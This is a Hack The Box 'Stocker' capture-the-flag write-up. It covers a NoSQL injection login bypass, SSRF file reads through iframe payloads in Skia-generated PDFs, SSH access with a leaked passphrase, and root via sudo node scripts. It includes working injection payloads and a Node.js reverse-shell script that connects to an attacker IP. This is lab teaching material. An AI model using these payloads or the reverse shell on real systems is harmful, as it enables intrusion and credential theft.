Hack The Box - Stocker

March 08, 2023

Stocker

Stocker is a Linux machine running a web server that hosts an e-commerce site with a vulnerable API. This API can be exploited using a NoSQL injection, which bypasses authentication and grants access to an endpoint for placing orders. After an order is placed, a PDF is generated that contains a summary of the order. Analysis of the PDF reveals that it's built with Skia, which is vulnerable to SSRF (Server Side Request Forgery). This SSRF vulnerability can be used to send a request that reads arbitrary files on the server, revealing user credentials that can be used to login over SSH. Privileges can be escalated by exploiting sudo permissions that allow the current user to execute NodeJS scripts, resulting in a root shell.

nmap scan:

nmap scan

Open ports:

  • 22 (SSH)
  • 80 (HTTP)

The server attempted a redirect to http://stocker.htb so I added it to /etc/hosts.

Webpage at http://stocker.htb:

visit IP

The landing page for the e-commerce website didn't provide much to go off of yet, so I enumerated the domain with gobuster.

gobuster

The results showed a login page at the subdomain of dev.stocker.htb, so I added dev.stocker.htb to /etc/hosts and visited /login.

login page

I intercepted the request with Burp Suite and sent it to repeater to view the response with the username and password of admin.

burp repeater

These credentials didn't work, but the response showed that the application was built with Express, a framework for NodeJS. One of the most common databases used by apps built NodeJS is MongoDB which is a NoSQL database. Assuming that this site was using MongoDB, then authentication could potentially be bypassed using a NoSQL injection formatted as JSON.

More about NoSQL injection on HackTricks

I changed the Content-Type to be application/json, and sent the following JSON request:

{
  "username" : {
    "$ne": "admin"
  },
  "password": {
    "$ne": "admin"
  }
}

In the JSON code above, the "$ne" operator is used by the server to check if any records match the query. In this case, the query will match any records where the "username" and "password" fields do not equal "admin" which will bypass any authentication checks.

After sending the request, the response redirected to /stock:

repeater json format

Bypassing authentication granted access to the dev.stocker.htb/stock page which can be used to place orders on the e-commerce platform:

stock page

So I placed an order which then generated a PDF with the order summary:

pdf of purchase

I downloaded the PDF to analyze it using exiftool

exiftool order summary

The output showed that the PDF was built with Skia which is a 2D graphics library used for a variety of applications. One of the first results after searching "skia pdf exploit" on google was this article which explains how the Skia PDF generator can be exploited to run an SSRF attack.

More about SSRF on PortSwigger

I sent the following payload which injects an iframe as the value of the title key in the JSON object to get arbitrary file read.

{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8d",
      "title": "<iframe src=file:/etc/passwd </iframe>",
      "description": "It's a red cup.",
      "image": "red-cup.jpg",
      "price": 32,
      "currentStock": 4,
      "__v": 0,
      "amount": 1
    }
  ]
}

The request returned a successful (200) response and provided an order ID:

send request with iframe

I viewed the PDF by visiting the following URL with the corresponding order number.

http://dev.stocker.htb/api/po/<ORDER_NUMBER_HERE>

pdf with iframe

This confirmed that the payload worked and an iframe with the /etc/passwd file was injected onto the page, although it was too small to read the entire file. But iframes can take a width and height attribute, so I sent the payload again with the iframe as follows:

"<iframe src=file:/etc/passwd width=1000 height=1000</iframe>"

send request with iframe resize

When I viewed the new PDF, the iframe was now large enough to view the entire /etc/passwd file which revealed a username: angoose

pdf with iframe resize

Knowing that this server was running nginx (as shown in the nmap results and Burp Suite responses), I sent a request with the following iframe:

"<iframe src=file:/etc/nginx/nginx.conf width=1000 height=1050</iframe>"

/etc/nginx/nginx.conf is a common path to find the configuration info on an nginx server.

send request with iframe for nginx.conf

The PDF of the response revealed that the root directory of dev.stocker.htb was /var/www/dev

nginx.conf root directory

Since NodeJS was running on the server (as shown in the Burp Suite responses that mentioned Express), I tried sending the payload with some of the common file names for NodeJS applications: app.js, server.js, index.js

Of the attempted file names, index.js worked:

"<iframe src=file:/var/www/dev/index.js width=1000 height=1050</iframe>"

repeater var/www/dev/index.js

index.js was a script that contained a passphrase. I tried using it to login as angoose over SSH and it worked:

index.js passphrase

ssh login user flag

After successfully logging in, this is where the user flag can be found.

I checked sudo privileges for the current user:

sudo -l

angoose could run the node command with any file that matches the pattern /usr/local/scripts/*.js meaning that /usr/bin/node could be used to run a JavaScript file with any name. So, I leveraged this to get a reverse shell.

First, I started a listener with nc

netcat

Next, I got a node reverse shell script from revshells and saved it in a file called revshell.js on the target machine.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(5555, "10.10.14.3", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Ran the script:

run revshell.js

Obtained a root shell at nc. The root flag can be found in /root

rev shell root flag


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS